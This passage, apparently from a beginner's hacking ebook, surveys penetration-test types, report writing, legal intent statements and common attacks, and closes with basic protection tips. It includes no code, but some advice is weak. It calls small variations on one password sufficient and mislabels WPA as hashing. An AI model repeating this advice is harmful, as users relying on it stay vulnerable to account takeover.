White hat hackers divide manual penetration tests into the following categories:

• **Comprehensive Tests** – This kind of test cover an entire network. A comprehensive test aims to determine the connections between the parts of a target. However, comprehensive tests are time-consuming and situational.

• **Focused Tests –** Tests that belong to this category concentrate on a specific risk or vulnerability. Here, the hacker will use his skills in

pinpointing and exploiting certain vulnerabilities in a network.

Automated Penetration Tests: Automated tests are easy, fast, reliable and efficient. You can get detailed reports just by pressing a single button. The program will take care of everything on your behalf. In general, the programs used in this test are newbie-friendly. They don't req uire special skills or knowledge. If you can read and use a mouse, you're good to go. The most popular programs for automated tests are Metasploit, Nessus, and OpenVAs. Metasploit is a hacking framework that can launch attacks against any operating system. Hackers consider Metasploit as their primary weapon. Infrastructure Tests

A computer system or network usually consists of multiple devices. Most of these devices play an important role in keeping the system/ network stable and effective. If one of these devices malfunctions, the entire system or network might suffer. That is the reason why penetration testers must attack the infrastructure of their targets.

The Basics of Infrastructure Tests: An infrastructure test involves internal computer networks, internet connection, external devices, and virtualization technology. Let's discuss these in detail:

• Internal Infrastructure Tests - Hackers can take advantage of flaws in the internal security of a network. By testing the internal structure of a target, you will be able to identify and solve existing weaknesses. You will also prevent the member's of the organization from attacking the structure from the inside.

• External Infrastructure Tests – These tests simulate black hat attacks. Because malicious hackers will attack a network from outside, it's important to check whether the external defense mechanisms of that network are strong.

• **Wireless Network Tests** – Wi-Fi technology allows you to connect devices indirectly. Here, data packets will just travel from one device to another. This technology offers convenience. However, convenience creates vulnerability.

Hackers may scan for data packets that are being sent in a network. Once Aircrack-ng, Wireshark, or similar tools obtain these data packets, the network will be prone to hacking attacks.

A wireless network test allows the white hat hacker to improve the

target's defenses against wireless attacks. The tester may also use his findings to create guidelines for the network's end-users.

• **Virtualization and Cloud Infrastructure Tests** – Storing company-related information in third-party servers is extremely risky. The hackers may capture the data as it goes to the "cloud" server. They may also attack the cloud server itself and access all the information stored there. Because the incident happened outside the network, tracking the culprits can be extremely difficult.

How to Write a Report

Your efforts will go to waste if you won't record your results. To become a successful white hat hacker, you should know how to write good reports. In this part of the book, you'll discover important tips, tricks, and techniq ues in writing reports for penetration tests.

Main Elements of a Report:

• **Goals** – Describe the purpose of your test. You may include the advantages of penetration testing in this part of the report.

• **Time –** You should include the timestamp of the activities you will perform. This will give an accurate description of the network's status. If a problem occurs later on, the hacker can use the timestamps of his activities to determine the cause of the issue.

• **Audience** – The report should have a specific audience. For example, you may address your report to the company's technical team, IT manager, or CEO.

• **Classification** – You should classify the document since it contains sensitive data. However, the mode of classification depends on your client.

• **Distribution** – Your report contains confidential information. If a black hat hacker gets access to that document, the network you were meant to protect will go down. Thus, your report should indicate the total number of copies you made as well as the people to whom you sent them. Each report must have an ID number and the name of its recipient.

Data Gathering: Penetration tests involve long and complex processes. As a result, you need to describe every piece of information that you'll collect during the attack. Describing your hacking techniq ues isn't enough. You should also explain your assessments, the results of your scans, as well as the output of your hacking tools.

Creating Your First Draft: Write the initial draft of your report after collecting all the information you need. Make sure that this draft is full of details. Focus on the processes, experiences, and activities related to your test.

Proofreading: Typographical and/or grammatical errors can ruin your report. Thus, you need to review your work and make sure that it is error-free. Once you're satisfied with your output, ask your colleagues to check it. This approach will help you produce excellent reports.

Outline of a Test Report

1. Executive Summary

a. Scope and Limitations of the Project

b. Objectives

c. Assumptions

d. Timeline

e. Summary of Results

f. Summary of Suggestions

2. Methodology

A. Plan Formulation

b. Execution of the Attack

c. Reporting

2. Findings

a. Detailed Information Regarding the System

B. Detailed Information Regarding the Server

2. References

a. Appendix

The Legal Aspect of Penetration Tests

As a hacker, you will deal with confidential data concerning a business or organization. Accidents might happen, and the information may leak to other people. That means you need to be prepared for legal issues that may arise in your hacking projects.

This part of the book will discuss the legal aspect of hacking. Read this material **carefully:** it can help you avoid lawsuits and similar problems.

Legal Problems: Here are some of the legal problems that you may face:

• Leakage of confidential information

• Financial losses caused by faulty tests

You can prevent the problems given above by securing an “intent statement”. This statement proves the agreement between the client and the tester. This document describes all of the details related to the penetration test. You’ll use an intent statement to avoid legal issues in the future. Thus, both parties should sign the document before the test starts.

How to Protect Yourself

Today, countless hackers are on the loose. These people are spreading computer viruses through the internet. If you aren’t careful, malicious programs might infect your machine.

In this chapter, you’ll learn how to protect yourself from usual techniq ues and vectors that hackers use

Prevent the Typical Attack Vectors

Hackers use the following vectors to lure victims:

Scams: It’s your lucky day. Someone from Nigeria needs your help in smuggling money from his country. You don’t have to do anything difficult. You just have to conduct some wire transfers and wait for the Nigerian to give you your share of the funds.

While checking the inbox of your email account, you saw a message saying you won a contest. You just have to send some money for shipping and wait for your prize to arrive.

The situations given above are typical scams. You probably think that nobody would fall for them. Well, nothing could be further from the truth. Thousands of people fall for such tricks. Victim's send money and/or confidential information to the hackers, hoping for a q uick benefit.

Think before reacting to any email. Scams work best against people who act quickly. If an email says something that is too good to be true, ignore it. If the message asks you to give personal information, report the email and tag it as spam.

Trojan Horses: A Trojan horse serves as a container for malicious programs. This "container" often appears as an interesting or important file. Once you download a Trojan horse, its contents will infect your computer. This techniq ue is extremely effective in turning innocent users into hapless victims.

In most cases, hackers use emails in sending out Trojans. They send a phishing email that contains a Trojan as an attachment. The email will encourage you to download and open the included file.

Some hackers, however, use social networking sites in spreading out Trojans. They post videos with interesting titles. Once you click on the video, the webpage will tell you that you must update your browser first if you want to view the content. Well, the "update" that you need to download and install is a Trojan.

The best way to fight this hacking vector is by using your common sense and running an updated antivirus program.

Automatic Downloads: In some situations, even up-to-date security programs are not enough. Your computer might have one or more vulnerable programs that hackers can take advantage of. For example, if you have an old version of a computer application, it may be vulnerable to viruses.

Hackers exploit vulnerabilities present in a program by establishing a rigged website. These people attract victims by sending out phishing messages through emails or social networking sites.

Keep in mind, however, that hackers are not limited to their own

sites. They can attack a legitimate site and insert malicious codes into it. Once you visit a compromised site, the inserted codes will scan your machine for vulnerable programs. Then, the codes will install viruses onto your machine automatically.

You can protect yourself by keeping your computer applications updated. Software developers release updates and/or patches for their products. Most programs can detect whenever a new update is available. They will just ask you whether or not you would like to update your program. Hit “Yes” and wait for the update process to complete.

Exploiting Weak Passwords: Fictional stories depict hackers as people who can guess passwords with ease. Real world hackers, however, rarely use this method. They don’t even bother guessing their victims’ passwords. They use various methods to obtain that crucial information.

You can enhance your online security by using different passwords for different sites. For example, the password of your Facebook account should be different from that of your Twitter account. This way, your Twitter account will still be safe even if a hacker successfully attacks your Facebook profile, and vice versa.

Using the same password for all of your accounts is extremely risky. When one of your accounts gets compromised, the rest of your accounts will also be in danger. You don’t have to use completely different passwords. It’s enough to add some characters to your main password to create different variations.

A hacker might also try to answer your security q uestions. You can protect your account by giving an answer that is not related to the q uestion. This way, the hacker won’t be able to access your account, regardless of how diligently he conducted his research.

Taking Advantage of Open Wi-Fi: The term “open Wi-Fi” refers to a wireless network without any form of encryption. That means anyone can connect to the network and interact with the machines inside it. When a hacker gets into your network, he will be able to view and record all of the things you do. He may also visit restricted websites and/or download files illegally through your internet connection. When that hacker does something illegal and gets tracked, the police will visit you.

It's important to set a password for your Wi-Fi network. Make sure that the encryption for your network is set to WPA/WPA-2. This encryption involves hashing, which makes hacking an extremely difficult task.

How to Protect Your Website from Hackers

There are a lot of reasons why a hacker would attack a company website. For example, a hacker might try to steal your financial information for personal purposes. He might also try to obtain business-related data and sell it to your competitors. Because of this, you must do your best in protecting your site from malicious hackers.

Typical Hacking Attacks

• **SQL Injection** – With this attack, a hacker can spoof your identity, access your site's database, and destroy/modify the information inside your database. Here, the hacker will insert malicious SQL codes into the form fields of your website.

• **DDoS (Distributed Denial of Service)** – The goal of this attack is to bring down a website temporarily. If a DDoS attack is successful, legitimate users won't be able to use the website. Hackers perform it by flooding the target with continuous requests.

• **CSRF (Cross Site R eq uest Forgery)** – Here, the hacker will hijack a session to make purchases on the victim's behalf. This attack happens when the victim clicks on a URL or downloads a file that runs unknown and/or unwanted actions.

• **XSS (Cross-Site Scripting)** – Hackers use this technique to destroy your website and/or run their payloads. Basically, an XSS attack happens when a hacker injects malicious codes or payloads into a program that runs on the user's end.

The Defensive Measures

To protect your website from malicious attacks, you should:

• Ask skilled programmers to review the codes on your website.

• Run code scanners.

• Offer rewards to people who will detect existing bugs within your site.

• Make sure that your site has WAF (Web App Firewall). This type of firewall monitors your system and prevents potential attacks.

• Implement CAPTCHA or ask website visitors to answer a q uestion. This way, you can make sure that each request comes from a human.

How to Keep Your Business Secure

Here are some practical tips that you can use in protecting your business:

• **Don't store irrelevant customer information –** Your website will be a tasty target for hackers if it contains various customer related information. If you want to protect your business, don't save information that you are not going to use. For example, refrain from storing the credit card information of your customers if you don't need it for your business.

Hacking is a difficult activity. Hackers won't attack you if your website doesn't have anything worthy of stealing. Storing customer information is convenient. However, the risks involved here outweigh the benefits.

• **Make sure that you have the right technology –** Hackers rely on modern tools and newly-discovered vulnerabilities. Your business won't be able to survive a hacking attack if it relies on outdated technology. It would be best if you'll implement a two-factor authentication before giving access to confidential information.

• **Educate your people –** The defense of your network is as powerful as your weakest employee. Keep in mind that hackers can use social engineering tactics. If one of your employees falls for such tricks, the security of your business will be in danger. Your

firewall and flawless website codes won't matter if your employees are reckless when dealing with their passwords.

These days, digital security is everyone's job. Educate your employees regarding the importance of vigilance and carefulness, especially when handling confidential information. In addition, train your people on how to identify social engineering tactics.

FINAL THOUGHT

I hope this book was able to help you learn the basics of hacking.

The next step is to practice your hacking and programming skills on a regular basis. Computer technology evolves at a blinding pace. You must keep on studying the latest hacking methods. You should also keep your arsenal up-to-date. More and more hackers are sharing their tools with others. In the event that you want to become a successful hacker and entrance analyzer, your assortment of instruments ought to have the newest and most grounded programs.

Programming is an significant aspect of hacking. You will gain a huge improvement in your hacking abilities if you'll know how to use various PC languages. The third chapter of this book clarified the basics of Python. Read that material several times in order for you to understand the sentence structure of the Python language. It is genuine that Python is one of the simplest dialects out there. However, it is powerful enough to create a wide range of hacking tools.

It is also important to practice your hacking skills. Download different operating systems and run them as virtual machines. At that point, attack them using Kali Linux.

By learning how to program and keeping yourself refreshed with the most recent hacking methods, you'll become an experienced hacker in no time.